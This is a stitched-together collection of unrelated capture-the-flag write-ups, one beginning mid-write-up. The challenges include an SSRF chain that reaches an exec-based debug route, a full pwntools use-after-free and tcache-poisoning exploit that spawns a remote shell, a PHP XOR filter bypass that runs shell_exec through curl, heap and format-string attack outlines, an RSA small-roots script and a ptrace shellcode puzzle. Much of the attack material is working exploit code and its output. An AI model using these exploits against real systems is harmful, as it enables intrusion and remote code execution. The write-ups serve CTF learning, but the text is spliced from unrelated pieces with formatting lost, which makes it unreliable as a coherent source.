- `redis_get` and `redis_set` both allow custom destination addresses and ports to be passed asarguments, and the routes that use them pass the values from any URL query parameters named"redis_addr" and "redis_port" to these functions without any checks. So we could control wherethe command strings these functions construct by adding the appropriate query parameters torequest URLs.
- `redis_get` and `redis_set` send the command strings they construct directly through a TCPconnection to the specified destination. (HTTP requests are also typically sent/received over TCP).
- While both helpers always prefix their command strings with a hard-coded string, `redis_get` inparticular starts its command string with `"GET "`. This correctly constructs a command for Redis,but it could also be the start of a HTTP GET request.
Combining those observations, we were very confident that we could craft a request URL that wouldcause the server to send itself HTTP requests from the `redis_get` function.
## Putting the pieces together
From our initial observations, we had a possible way to execute arbitrary code and a way to makethe target server send itself a GET request. However, the code path we needed for remote codeexecution (RCE) was only reachable by a POST request.
Jeff mentioned that HTTP request smuggling is a thing, and we started looking into that.A cursory glance at a few blogs seemed promising--following the GET with a POST was what wewanted to do. However, the examples we found didn't work either on our local test instances or thechallenge server (_Hindsight: because it was SSRF, not request forgery!_).As a result, it took some experimentation for us to make `redis_get` send two requests.
After some effort, we managed to get proof of concept on a local instance of the Flask app.Our POST request (appended to the GET constructed by abusing `redis_get`) could reach the `exec` call.However, our Python payload wasn't getting through. Eventually, after a bit of research andmuch experimentation, we figured out the issue.
## Payload breakdown
_note: This is a cleaner, refined version of the solution we actually used. Our initial solution__attempted to overwrite our copy of the flag in the database after we'd retrieved it, but that__could just as easily be done manually._
### Hijacking `redis_get`The /debug route where a form field’s contents are passed to Python’s `exec` function rejects requestsmade from remote hosts, so we need to send a request to that route from the server itself. `exec`executes a string as Python code without safety checks, so it provides easy remote code execution--ifwe can get to it. To do that, we need to trick the server into sending itself a POST to `/debug`.
#### Send data to chosen destinationThe function takes keyword arguments to specify alternative destinations for a string sent directly overTCP. By default, the destination is some Redis database server. However, the code handling the /get routeallows the alternate destination to be set using query parameters in the request URL.
#### Turn a database command into a HTTP requestThe `redis_get` function always prefixes the string it sends with `‘GET ’`, and otherwise just uses whateverinput the `/get` route found in the `key` query parameter. If the resulting string is sent over TCP to aRedis database server, the database will treat it as a command to get the value of some key. If it isinstead sent to an HTTP server, it will be interpreted as an HTTP GET request! So setting thecorrect destination address and port for this function causes the Flask app to send itself a GET request.
#### The URL
`http://kvcloud.sf.ctf.so:80/get?redis_port=80&redis_addr=localhost&key=[payload]`
The payload needs to be URL encoded so it can be sent as the value of a request parameter. The targetFlask app will un-encode the payload before passing it to `redis_get`. `redis_addr=localhost` and`redis_port=80` set the custom destination address and port, respectively. The port needs to be the porton which the server handles HTTP requests. This is specified on the last line of `app.py`.
### POSTing for RCE
The `redis_get` function sends our payload input to any destination we choose, but it always prefixesour input with GET! But a POST request is the only way to reach the `exec` call.
Following the mandatory GET request with a POST took some tuning, because we started out with thewrong mechanism (request smuggling) in mind.Ultimately, we found that we needed two sequential requests: a minimal GET request and a POST request carryingPython code to retrieve the flag.
Both requests get sent by the target server, to the target server. The GET request’s only jobis to consume a hard-coded prefix in a format string and not make a mess, so itdoesn't need to request a particular URL. (We chose the URL for a site designed to respond slowly for app testing purposes.)
All that matters is that the POST request goes to the `/debug`route. The request will pass the origin IP check because it came from the server itself.
#### Request text
```GET http://slowwly.robertomurray.co.uk/ HTTP/1.1Host: robertomurray.co.uk
POST http://localhost/debug HTTP/1.1Host: localhostKeep-Alive: timeout=200 max=1000Content-Type: application/x-www-form-urlencodedContent-Length: 61
cmd=redis_set('ohplease', str(open('/flag.txt', 'rb').read())```
The initial `GET ` (with a space) is hard-coded into the `redis_get` function. Everything after thosefour characters is the string we needed passed as the `key` argument to `redis_get`. That entirestring must be URL encoded.
### Flag exfiltrationWe tried to send data directly back over to the `redis_get` call using Flask’s `send_file` function,but couldn’t get it to work. Ultimately, we settled on using the Redis database itself, since we couldretrieve and set keys using the target server’s intended functionality.The Python code needed for this is just `redis_set('ohplease', open('/flag.txt', 'r').read())`.
During competition, we used multiple statements separated by semicolons to avoid any confusion or extracomplexity around newlines in the request construction.This was our first time smuggling a request and we were working hard enough to figure things out,so we didn’t want to have to think about any rules for passing newlines in a form field. We also usedbinary read mode in our initial solve because we were tired and in a hurry to get the flag before theCTF game ended.
After our payload script stored the flag in the Redis database, Lydia retrieved it using the `/get`route for its stated purpose. I then used the `/set` route to set a new value for the key we'd used.
#### How it works
`open('/flag.txt', 'r')` returns a handle to a file object in read (text) mode. That object's `read()` methodthat gets all of the file's contents as a string.
`redis_set('ohplease', value)` sends "SET ohplease <value>" to the default destination, which is the Redisdatabase server. This sets the value of key 'ohplease' to whatever string `value` represents. In this case,it's the contents of the flag file.
## What I learned
### My first SSRF!
I didn't know about SSRF going into this challenge. Since our breakthrough arose from discussionof request smuggling, that was the term on my mind while solving.
My understanding after further review and reading is that our attack was not request smuggling,but rather simply sending two valid requests in sequence. Since we tricked the server intosending a request for us, this was a server-side request forgery (SSRF) attack.Request smuggling is different: it uses differences in the handling of malformed requests by a front-end andback-end server to sneak a request from the attacker to their target.
#### Resources
SSRF: [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
Request Smuggling: [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) |
# hashfunction
Info:- Category: web- Points: 513- Solved by: hdesk, SM_SC2, 0xThorn
## Problem
One solution for storing passwords securely in applications is to store a hash of the password. Or it's not?http://tasks.kksctf.ru:30020/
[server.go](server.go)
## Writeup
Inspecting the code and doing some tests we can see that each 8-characters-long digest block is related only to one 4-characters-long block of the provided password.For example
| Password | Hash ||----------|---------------------------------------------|| 1234 | **553b6a59** 52d04dc2 0036dbd8 313ed055 || 12341234 | **553b6a59** **553b6a59** 3f1cf75d 7068baae |
So, the idea is:1) Find all possible combinations of 4 characters using only the printable ones.2) Compare each 8-characters digest block with each provided hash block.3) Compose the password.
[brute_force.go](brute_force.go)
After few seconds, we obtain the following results
 The password is `)R)ck4r^K>AwGJK-`
In order to obtain the flag we have to send a `x-www-form-urlencoded` POST request to `http://tasks.kksctf.ru:30020/login` with the following data:
```username : adminpassword : )R)ck4r^K>AwGJK-```
 ### Flag: ```kks{1f_s0meth1ng_called_md5_1t_d0esnt_have_t0_be}``` |
```from sage.all import *from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
def solve(m, e, n, c): P.<x> = PolynomialRing(Zmod(n)) f = (m + x)^e - c f = f.monic() m = f.small_roots(epsilon=1/30) print(long_to_bytes(int(m[0])))
n = 0x7e6a1e6b2e98af9067483629b3cbe204d251b81d6bc26e169a2bae14c3b7f682c0c3a50d373df3b281c5676db53422056b9442db547e4e3a96dd6276aaf538ef78f80702bad7d57e93f696962debc11803118bc8636e4aa2ccfe326800ae52c0eff7f5354a37b6cb883dab2b257ae2e76475783adcd9a16740be87cb27777e17 e = 7c = 0x52308125663a67f608502c240323b039837735806197b60b9c8bab582f2eb7d2c6b2e51b7cc7e9d56ec900c6f5a11d964b096b437bad2002f4e299ca6afd2dbec78d9b1b5e58bd8d5c4bf918b23506ef8c9fb2f6282de8892d8adb8e6d09c3ec3538e0a5d9a1cd84506846e4f4c1aaef2ac9a03872df6cc7b262592e58351dabpad = b'superpadding'm = pad + b'\x00'*13m = bytes_to_long(m)
solve(m, e, n, c)``` |
Perform a glibc 2.32 poison null byte attack without a heap leak by massaging unsorted and large bins, a tcache stash unlink attack to overwrite `mp_.tcache_bins`, and a tcache poison for controlled arb write to escape seccomp with a COP gadget involving rdi and rdx for the flag. |
# PHP Master
## Challenge Author(s):`yakuhito`
## Description:```Another one of *those* challenges.```
## Target:
`http://challs.xmas.htsp.ro:3000/`
## Objective:
Forge a payload capable of bypassing the various constraints and checks in code, in order to have the flag printed.
## Difficulty/Points: `easy/33` |
1. Using fsb, modify the vtable (rip should be 0x4009cb) - (1) Create a pointer to point to the stack address where the stream is stored. - (2) Modify the 1 byte of the stream address to point to vtable.2. Using fsb, modify the return address of the stack to main3. Using fsb, modify the stream address to fake_vtable |
# Many Paths (500 points)
## Description
Today in Santa's course in Advanced Graph Algorithms, Santa told us about the adjacency matrix of an undirected graph. I'm sure this last problem, he gave us is unsolvable, but I don't know much, maybe you do.
Target: nc challs.xmas.htsp.ro 6053
Authors: Gabies, Nutu
## Solution
```shell$ nc challs.xmas.htsp.ro 6053I swear that Santa is going crazy with those problems, this time we're really screwed!The new problem asks us the following:Given an undirected graph of size N by its adjacency matrix and a set of forbidden nodes, tell me how many paths from node 1 to node N of exactly length L that don't pass through any of the forbidden nodes exist (please note that a node can be visited multiple times)?And if that wasn't enough, we need to answer 40 of those problems in 45 seconds and to give each output modulo 666013. What does that even mean!?
Test number: 1/40N = 5adjacency matrix:0,1,0,0,11,0,0,1,10,0,0,0,00,1,0,0,11,1,0,1,0forbidden nodes: [3]L = 4```
I found an article that solves that problem: [link](https://cp-algorithms.com/graph/fixed_length_paths.html). So I need to raise the adjacency matrix to the power of the path length and the element (source, dest) % mod gonna be the answer. I tried to use numpy matrix_power function, but for me it doesn't work properly by some unknown reasons. So, i found another function how to raise matrix to the power, here it is (i modified it a little bit to optimise by using modulo):
```pythonimport numpy as np
class Mat(list) : def __matmul__(self, B) : A = self return Mat([[sum(A[i][k]*B[k][j] for k in range(len(B))) for j in range(len(B[0])) ] for i in range(len(A))]) def identity(size): size = range(size) return [[(i==j)*1 for i in size] for j in size]
def power(F, n): mod = 666013 result = Mat(identity(len(F))) b = Mat(F) while n > 0: if (n%2) == 0: b = np.remainder(b @ b, mod) n //= 2 else: result = np.remainder(b @ result, mod) b = np.remainder(b @ b, mod) n //= 2 return np.remainder(result, mod)```
Now that we have a working function for raising a matrix to a power, I need to parse the server responses into the required types, and also remove the forbidden nodes, if they are present, here is the code:
```pythonfrom pwn import *
conn = remote('challs.xmas.htsp.ro', 6053)
for task in range(40): conn.recvuntil("N = ") N = int(conn.recvline().decode('utf-8'))
conn.recvline() #skips "adjacency matrix" line
recievedMatrix = [] for x in range(N): recievedMatrix.append(conn.recvline().decode('utf-8').replace('\n', '').split(',')) # parses forbidden nodes conn.recvuntil("forbidden nodes: ") forbiddenLine = conn.recvline().decode('utf-8').strip() forbidden = forbiddenLine[1:-1] forbiddenNodes = [] if (len(forbidden) > 1): forbidden = forbidden.split(',') for x in forbidden: forbiddenNodes.append(int(x)) elif (len(forbidden) == 1): forbiddenNodes.append(int(forbidden))
forbiddenNodes.sort(reverse=True)
matrix = [] for x in range(len(recievedMatrix)): matrix.append([]) for elem in range(len(recievedMatrix[x])): matrix[x].append(int(recievedMatrix[x][elem]))
# remove forbidden nodes and corresponding elemetes from each node for x in forbiddenNodes: matrix.pop(x-1) for node in matrix: node.pop(x-1)
conn.recvuntil("L = ") length = int(conn.recvline().decode('utf-8'))
matrixPower = power(matrix, length)
#format N if forbidden nodes are deleted if (len(forbiddenNodes)): N = N - len(forbiddenNodes)
payload = matrixPower[0][N - 1]
conn.sendline(str(payload)) print("Current task: ", task)conn.interactive()```
```shell[*] Switching to interactive modeI cannot believe you figured this one out, how does this code even work?I'm baffled, here's the flag: X-MAS{n0b0dy_3xp3c73d_th3_m47r1x_3xp0n3n71a7i0n}[*] Got EOF while reading in interactive```
Flag: X-MAS{n0b0dy_3xp3c73d_th3_m47r1x_3xp0n3n71a7i0n}
|
*Use-After-Free* at *edit* function. Leak *usefull* address like pie, libc, etc. with overwrite *pizza-type* pointer and *print* with option number 3. After that, use *tcache poisoning* to overwrite `__free_hook` with `system`. Free "/bin/sh" for profit.
Full solver:
```py#!/usr/bin/python
from pwn import *
BINARY = './pizza-service'
elf = ELF(BINARY)libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so', 0)
gdbscript = ''''''
def debug(gdbscript): if type(r) == process: gdb.attach(r, gdbscript , gdb_args=["--init-eval-command='source ~/.gdbinit_pwndbg'"])
def take_order(nomor, address, with_soda='n'): r.sendlineafter(': ', '1') r.sendlineafter(': ', str(nomor)) r.sendlineafter('[y/n] ', with_soda) r.sendlineafter(': ', address)
def edit(no_order, nomor, address, with_soda='n'): r.sendlineafter(': ', '2') r.sendlineafter(': ', str(no_order)) r.sendlineafter(': ', str(nomor)) r.sendlineafter('[y/n] ', with_soda) r.sendlineafter(': ', address) r.recvline() def view_order(order_no): r.sendlineafter(': ', '3') r.sendlineafter(': ', str(order_no)) r.recvuntil("Order no. : %d\n" % order_no) arr = [] for _ in range(4): arr += [r.recvline(0).split(" : ")[-1]] return arr
def deliver(order_no): r.sendlineafter(': ', '4') r.sendlineafter(': ', str(order_no))
def relogin(username): # not used lol r.sendlineafter(': ', '5') r.sendlineafter(': ', username)
def exploit(r): r.sendlineafter(': ', 'PWNERS!')
take_order(1, "B"*8, with_soda='y') take_order(1, "B"*8, with_soda='y') take_order(1, "B"*8, with_soda='y')
deliver(1) deliver(2)
heap = u64(view_order(2)[-1].ljust(8, "\0")) info("heap 0x%x", heap)
edit(2, 1, p64(heap+160)) take_order(1, "C"*8) take_order(1, p64(heap+96))
elf.address = u64(view_order(3)[0][:6].ljust(8, '\0')) - 0x1278 info("base 0x%x", elf.address)
edit(5, 1, p64(elf.got['puts'])) libc.address = u64(view_order(3)[0][:6].ljust(8, '\0')) - libc.sym['puts'] info("libc 0x%x", libc.address) deliver(3) deliver(4)
edit(4, 1, p64(libc.sym['__free_hook'])) take_order(2, "/bin/sh") # 6 take_order(2, p64(libc.sym['system'])) # 7
deliver(6) # trigger system("/bin/sh") r.recvuntil(": ") r.interactive()
if __name__ == '__main__': if len(sys.argv) > 1: libc = ELF('./libc-2.31.so') r = remote("chall.bsidesalgiers.com", 4004) else: r = process(BINARY, aslr=1) exploit(r)```
Short writeup. Because of my bad english, *lol*.
```python[+] Opening connection to chall.bsidesalgiers.com on port 4004: Done[*] heap 0x55a69f5f42e0[*] base 0x55a69d9dc000 [*] libc 0x7f242277b000[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ ls -latotal 32drwxr-xr-x 1 root root 4096 Dec 17 00:05 .drwxr-xr-x 1 root root 4096 Dec 18 12:57 ..-rw-r--r-- 1 root root 39 Dec 16 23:53 flag.txt-rwxr-xr-x 1 root root 13608 Dec 16 23:53 pizza-service-rwxr-xr-x 1 root root 108 Dec 16 23:53 run_server.sh$ cat flag.txtshellmates{m4N1Pul4t1nG_piz7a_ChunK$!}``` |
Super Calc was a Web challenge featured in [TetCTF](https://ctf.hackemall.live/), a 2 day CTF run from the 1st to the 3rd of January, 2021. The challenge description was as follows:
> Let try on the next-generation, the superior Calculator that support many operations, made with love <3[http://139.180.155.171/?calc=(1.2-0.2)*5.1](http://139.180.155.171/?calc=(1.2-0.2)*5.1)
# Investigation
The linked website was relatively simple, just returning the result of a calculation passed in through the `calc` parameter. Removing all parameters from the request resulted in the source code of the page conveniently being returned, which can be found below.
```php
70) { die("Tired of calculating? Lets relax <3"); } echo 'Result: '; eval("echo ".eval("return ".$_GET["calc"].";").";");}```
Right away we can see `eval` statements near the bottom of the file executing whatever is passed through the `calc` parameter, and the only thing between the input and the `eval` is a regular expression (regex), which effectively filters out everything that isn't a number and a handful of math related symbols. Aside from a length restriction to 70 characters, there is nothing immediately interesting with the source code.
Knowing that I had to somehow achieve code execution via the `eval` statements, I began to investigate methods that would allow me to covert the allowed characters into more useful characters, such as the alphabet. I was well aware of PHP's weakly typed nature and it's willingness to freely convert data types between each other, so I used this as my starting point. If I could craft a payload to circumnavigate the regex whilst remaining valid PHP code I would be able to achieve code execution on the server.
A character that immediately stood out as being accepted was `'`, which can be used to create strings, as well as a few characters that can be used for bit-wise operations, such as `^` (XOR), `|`, (OR) and `&` (AND). After some research, it became apparent that if two strings are combined with a bit-wise operator, each character would effectively be converted to it's ASCII code, then have the operator applied on it with the character of the same position in the other string.
For example `'A' ^ 'z'` would be broken down like so. First the characters would be substituted with their respective ASCII codes, in this case `65` for `A` and `122` for `z`, leaving us with `65 ^ 122`. Next the relevant operation (in this case XOR) would be performed on the two numbers, which would result in `59` for these two numbers. Finally, the result will be substituted with the character for that ASCII code, which is `;` for `59`. Just like that, we were able to create a character from two other completely unrelated characters.
# Payload Generation
With a method to create arbitrary characters, we should now be able to begin finding a way to bypass the filter. All we need to do is find combinations of allowed characters that will create our desired payload. Bearing in mind the character limit for the payload, as well as the difficulty in creating letters (at least 7 characters for each letter) I decided to take advantage of PHP [variable functions](https://www.php.net/manual/en/functions.variable-functions.php). Simply put, if a variable named `foo` had the value `"bar"` in it, executing `$foo()` would be the equivalent of executing `bar()`. Taking advantage of this, I can create a relatively small payload for arbitrary code execution: `$_GET[1]($_GET[2])`. All this snippet does, is execute the function passed through `GET` parameter `1` with the contents of `GET` parameter `2` as the argument. This allows the payload to be quite small, with repeating (and by extension easy to encode) characters whilst remaining flexible enough to change the function being executed.
With the payload decided, the next step was to encode it. Being unaware of a quicker method (please let me know if there's a better way) I had no choice but to do the encoding by hand. Due to the nature of XOR operations, the values and the result can be swapped around. For example, if I know I want the result to be `10` and one of my values to be `3`, I can execute `10 ^ 3` which equates to `9`. Therefore, `3 ^ 9 = 10`. This same principle can be applied to the encoding of the payload. We know the result (the payload) and we know at least one of the values (the whitelisted characters, since they are the only ones that don't trigger the filter) so it doesn't require too much work to discover the second value. All that needs to be done for each letter of the payload, is try XOR it with each character that is whitelisted, one by one. If the result of the operation is whitelisted then it and the value that was XORed can be used to create the letter of the payload. All the XOR operations then can be concatenated with `.` in order to create the full string of the payload.
For example, if we are trying to encode `G`. We can start with `'0'` (character `0`, not ASCII code `0`).
```'G' ^ '0' = 'w' (not whitelisted)'G' ^ '1' = 'v' (not whitelisted)...'G' ^ '8' = 127 (not valid ASCII character)'G' ^ '9' = '~' (whitelisted, success!)```
And just like that we can use `'9' ^ '~'` to create `'G'`, the beginning of the payload! We can test this, by sending `'9'^'~'` in the `calc` parameter (note, no spaces as they aren't whitelisted).
```$ curl http://139.180.155.171/?calc=%279%27^%27~%27
Result: G```
As predicted, `G` is returned, despite it not being a whitelisted character.
As a result of the limited characters allowed through the filter, not every character can be encoded in this manner. This is easily over come by using two rounds of encoding. The first round essentially 'creates' new characters that can be used despite them not being in the filter, and the second does the actual encoding to create the desired letter. The process is the exact same as outlined above, just with more trial and error. For example to create `$`, `'&' ^ ('(' ^ '*')` can be used.
If this process is continued for every character in `$_GET[]` (the main part of the payload) we would end up with `('&'^('('^'*')).('8'^('9'^'^')).('9'^'~').('9'^'|').('~'^'*').(('('^'-')^'^').('^'^('('^'+'))` and arrive at our first problem. With not even half of the payload encoded it is 94 characters long, well over the allowed 70 characters.
There are a few things that can be done to reduce the characters used. First, any nested brackets can be removed. Next, we can combine groups of characters that are encoded the same amount of times into the same string. For example, `('&' ^ '(' ^ '*') . ('8' ^ '9' ^ '^')` (spaces added for readability) can be reduced to `'&8' ^ '(9' ^ '*^'`. With these changes the payload is reduced to `('&8'^'(9'^'*^').('99~'^'~|*').('(^'^'-('^'^+')`, only 48 characters. An improvement but still not low enough to be used for the payload, since this section will be used twice. The only way to reduce the payload further would be to combine the parts of the payload that are encoded once with the parts that are encoded twice. To do this I had to discard the parts of the payload which were encoded once, and recreate those characters with the double encoding. Doing this results in `'(9222(('^'*^^^^-+'^'&8+)8^^'` with a length of 30 characters.
The final step for the creation of the payload was to add in the parenthesis and the indexes for the parameters. Since numbers and parenthesis are whitelisted characters, it wasn't necessary to spend time trying to encode them. In order to preserve space, it was preferential to include them in the XOR strings anyway. Since there were two rounds of XOR, if the same character was included in both rounds, it will result in the same character, so `'a' ^ 'a' ^ 'a' = 'a'`. Utilising this, it was simple to include the needed characters and complete the payload:
``` '(9222(1(((9222(2()'^'*^^^^-1+(*^^^^-2+())'^'&8+)8^1^(&8+)8^2^())'```
# Exploitation
Now for the easy part! Passing the payload to the `calc` parameter, `shell_exec` to the `1` parameter and a command to the `2` parameter, we can execute any command on the system! For example:
```$ curl "http://139.180.155.171/?calc='(9222(1(((9222(2()'^'*^^^^-1%2b(*^^^^-2%2b())'^'%268%2b)8^1^(%268%2b)8^2^())'&1=shell_exec&2=ls%20-la%20|%20base64"
Result: dG90YWwgMTYKZHJ3eHIteHIteCAyIHJvb3Qgcm9vdCA0MDk2IERlYyAzMCAxNjowMiAuCmRyd3hyLXhyLXggMyByb290IHJvb3QgNDA5NiBEZWMgMzAgMTU6NTAgLi4KLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAgMTE2IERlYyAzMCAxNjowMiBmbDRnMXNIM3JlLnBocAotcnctci0tci0tIDEgcm9vdCByb290ICA1MTQgRGVjIDMwIDE1OjU0IGluZGV4LnBocAo=```
To ensure nothing funky happens with the command outputs, everything is piped to `base64`, which we can decode to see the result!
```total 16drwxr-xr-x 2 root root 4096 Dec 30 16:02 .drwxr-xr-x 3 root root 4096 Dec 30 15:50 ..-rw-r--r-- 1 root root 116 Dec 30 16:02 fl4g1sH3re.php-rw-r--r-- 1 root root 514 Dec 30 15:54 index.php```
And just like that, we can see our exploit works and we can also see where the flag is!
```$ curl "http://139.180.155.171/?calc='(9222(1(((9222(2()'^'*^^^^-1%2b(*^^^^-2%2b())'^'%268%2b)8^1^(%268%2b)8^2^())'&1=shell_exec&2=base64%20fl4g1sH3re.php"```
Flag: `TetCTF{_D0_Y0u_Know_H0w_T0_C4lculat3_1337?_viettel_*100*817632506233949#}` |
Here is a reminder of the example:
```R1:[4, 9, 16, 25, 36, 49]R2:[13, 16, 14, 16, 22]R3:[11, 12, 12, 11]R4:[5, 6, 5]R5:[11, 11]R6:[4]```
The logic behind this series is that an element in a list is the sum of the digits of the 2 elements above it in the previous list. For example, 16 in R2 is below 9 and 16 in R1, and 16 = (9) + (1 + 6). It follows logically that there are less and less items in the lists.
Here is my script to create a file containing the terms for the seed `R1 = [25, 36, 49, 64, 81, 100, 121, 144, 169, 196, 225, 256, 289, 324, 361, 400, 441, 484, 529, 576, 625]`:
```pythonr = [25, 36, 49, 64, 81, 100, 121, 144, 169, 196, 225, 256, 289, 324, 361, 400, 441, 484, 529, 576, 625]answer = 'R1:' + str(r)for i in range(2, len(r)): next_r = [] j = 0 while j < len(r) - 1: cell = 0 n1 = r[j] n2 = r[j+1] for k in str(n1): cell += int(k) for k in str(n2): cell += int(k) next_r.append(cell) j += 1 r = next_r answer += '\nR' + str(i) + ':' + str(r)answer += '\n'
with open('answer.txt', 'w', newline='') as f: f.write(answer)```
Notice the `open('answer.txt', 'w', newline='')`. If you are on a Windows system like me (have mercy), Python will sneakily insert CRLF instead of simple LF for newlines, which will result in a wrong MD5 hash. The `newline=''` parameter is there to make sure that you stay in control of how newlines are written in the file.
Then, we can proceed to calculating the checksum of our `answer.txt`. I would recommand not using online tools to do this, I lost precious time because of that aswell. I found this MD5sum: `a734829aea9dc35004a53b1502600102`.
Finally, we send this answer using `nc 35.223.124.128 1337`, and we get the following flag: `vulncon{JVXWIZJNKNPUQZLYMNXWIZI}`. |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/Arduino](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/Arduino) |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Forensics/Message](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Forensics/Message) |
1. Using double staged fsb, change the return address of the stack to main and leak the libc_start_main_ret address. - a little brute forcing2. Using double staged fsb, change the return address of the stack to one_gadget3. Restore the SFP - SFP should be changed when changing the return address of the stack. - When the SFP changes, it moves to a different address - a little brute forcing |
# Tenet
You have to start looking at the world in a new way. Tenet is a service that takes up to 2000 bytes of shellcode the user supplies and executes given some constraints, then if it successfully deleted a token it is executed in reverse and checks if the token has been written back
## Solution
### The constraints from the service
- The shellcode can only be up to 2000 bytes long - The start of the shellcode is in a Read-Execute memory page at `0xDEAD0000` - The service puts 0x80 bytes of shellcode for preparation in front so the supplied shellcode starts at `0xDEAD0080` - The shellcode process has a Read-Write memory page at `0x02170000` - The preparation shellcode unmaps the stack so we only have the RX `0xDEAD0000` and RW `0x02170000` memory page ### Looking at the execution loop
```C while ( 1 ) { if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) // Step a single instruction err(1, "ptrace"); waitForPID = wait(&stat_loc); // Wait for the instruction if (!(stat_loc & 0x7F)) break; isChildDead = (stat_loc >> 8) & 0xFF; if (isChildDead != 5) // Stop if the shellcode died errorMessage("Child dead unexpectedly."); if (stepCounter > 0xFFF) // Only do 0xFFF steps errorMessage("Too many steps."); if (shellcodeReached != 1 && getRIP() == 0xDEAD0080) { // Start of shellcode shellcodeReached = 1; nop(); resetState(); // Reset all registers nullMemory(); // Zero the 0x2170000 memory page writeCookie(); // Write a random 8 byte cookie to 0x2170000 } if (shellcodeReached) { // In the actual shellcode don't execute // syscalls if (waitForExitSyscall()) { // Skip all syscalls // Exit on a exit syscall doesExit = 1; // Stop the execution break; } currentStep = stepCounter++; RIPArray[currentStep] = getCurrentRIP(); // Save the instruction pointer // of each executed instruction } }```
The execution loop does some interesting things.For example after the preparation shellcode ends the register state is cleared, the Read-Write memory is cleared and a 8 byte cookie is written to the start of the memory.Then the code waits for either the execution of 0x1000 steps, the death of the shellcode or an exit syscall.Each step the current instruction pointer is sequentially saved. While waiting for the exit syscall all other syscalls get skipped over and switching code or stack segment away from 64-bit is forbidden as well.
So the following additional constrains apply:
- A maximum of 0xFFF instruction steps- Only a 8 byte cookie in the RW page- A cleared register state at the start- No syscalls / sysenter- Ends with sys_exit
### The goal
After the shellcode the following code is executed
```C if (!doesExit) // Check that shellcode exists errorMessage("...?"); if (!memoryCleared()) // Check if RW memory is only 0's errorMessage("Please swallow the cookie."); timemachine(); // Travel back in time! if (!cookieReset()) // Check if cookie has been written back errorMessage("You should vomit the cookie out."); printFlag(); // Print the flag on success```
so our shellcode has to zero the 8 byte cookie and not write any other data to the memory but after `timemachine` is triggered the cookie has to reappear.
Looking into the `timemachine` we see that the register state is reset again and then the executed instructions are executed in reverse order:
```Cvoid timemachine() {
int wstatus; int curStep; pid_t waitForPID; int isChildDead; user_regs_struct regs;
resetState(); // Reset registers for ( curStep = stepCounter - 1; curStep >= 0; curStep-- ) { // Iterate backwards to travel back in time if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) // Read the current register state err(1, "ptrace"); regs.rip = RIPArray[curStep]; // Set instruction pointer to saved one if (ptrace(PTRACE_SETREGS, pid, 0, ®s)) // Write the changed register err(1, "ptrace"); if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) // Step a instruction err(1, "ptrace"); waitForPID = wait(&wstatus); // Wait for it to be executed // Handle unexpected death of the shellcode if (!(stat_loc & 0x7F)) { puts("exit too early.."); exit(1); } isChildDead = (stat_loc >> 8) & 0xFF; if (isChildDead != 5) errorMessage("Child dead.."); } }```
This means our shellcode has to delete the cookie when executed and rewrite the cookie back to memory when executed in reverse order while somehow preserving the cookie somewhere to access after the state is reset.
### AVX!
Looking into detail how the registers are reset:
```Cvoid resetState() {
user_regs_struct userRegs; user_fpregs_struct userFloatRegs;
memset(&userRegs, 0, sizeof(userRegs)); // zero the register state userRegs.rip = 0xDEAD0080; // set the instruction pointer to 0xDEAD0080 userRegs.cs = 0x33; // sets the code segment to 0x33 -> 64bit code segment userRegs.ss = 0x2B; // sets the stack segment to 0x2B -> 64bit data segment if (ptrace(PTRACE_SETREGS, pid, 0, &userRegs)) // reset the user registers err(1, "ptrace"); memset(&userFloatRegs, 0, sizeof(userFloatRegs)); // zero the floating point register state if (ptrace(PTRACE_SETFPREGS, pid, 0, &userFloatRegs)) // reset the floating point registers err(1, "ptrace"); }```
the `user_fpregs_struct` structure is especially interesting:
```Cstruct user_fpregs_struct{ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; __uint32_t st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ __uint32_t xmm_space[64]; /* 16*16 bytes for each XMM-reg = 256 bytes */ __uint32_t padding[24];};```
Noticeable here is that `xmm_space` doesn't account for `YMM` registers, and while the lower 16-bytes of them are mapped to the same named `XMM` registers the upper 16-bytes are not.
### Shellcode
By using the upper 16-bytes of the `YMM` registers we keep the cookie even through the state reset before it's executed in reverse:
```asmmov rax, 0x02170000 ; set rax to the cookiemov rdi, qword [rax] ; read the cookiemov [rax], rdi mov [rax+16], rdi ; write the cookie to rax+16 (making it appear in the upper bits of the ymm register)mov rdi, [rax+16] vmovups ymm0,yword [rax] ; read the yword at raxvmovups yword [rax],ymm0xor rdi, rdi ; set rdi to 0mov qword [rax], rdi ; clear the cookiemov qword [rax+16], rdi ; clear the copy of the cookiemov rax, 0x02170000
mov eax, 0x3C ; sys_exit / end of shellcodesyscall```
In Reverse:
```asmmov eax, 0x3C
mov rax, 0x02170000 ; set rax to the cookie mov qword [rax+16], rdi ; zero already zeroed memorymov qword [rax], rdixor rdi, rdivmovups yword [rax],ymm0 ; write ymm0 back (xmm0 was reset as such only the upper half is preserved)vmovups ymm0,yword [rax] mov rdi, [rax+16] ; read the upper copy of the cookiemov [rax+16], rdi mov [rax], rdi ; write the cookie back to the original positionmov rdi, qword [rax] mov rax, 0x02170000 ```
$ python solve.py [+] Opening connection to 52.192.42.215 on port 9427: Done Size of shellcode? (MAX: 2000)
Reading 49 bytes..
[+] Receiving all data: Done (123B) [*] Closed connection to 52.192.42.215 port 9427 Shellcode receieved. Launching Time Machine.. Perfect. hitcon{whats happened happened, this is the mechanism of the world}
# 11011001
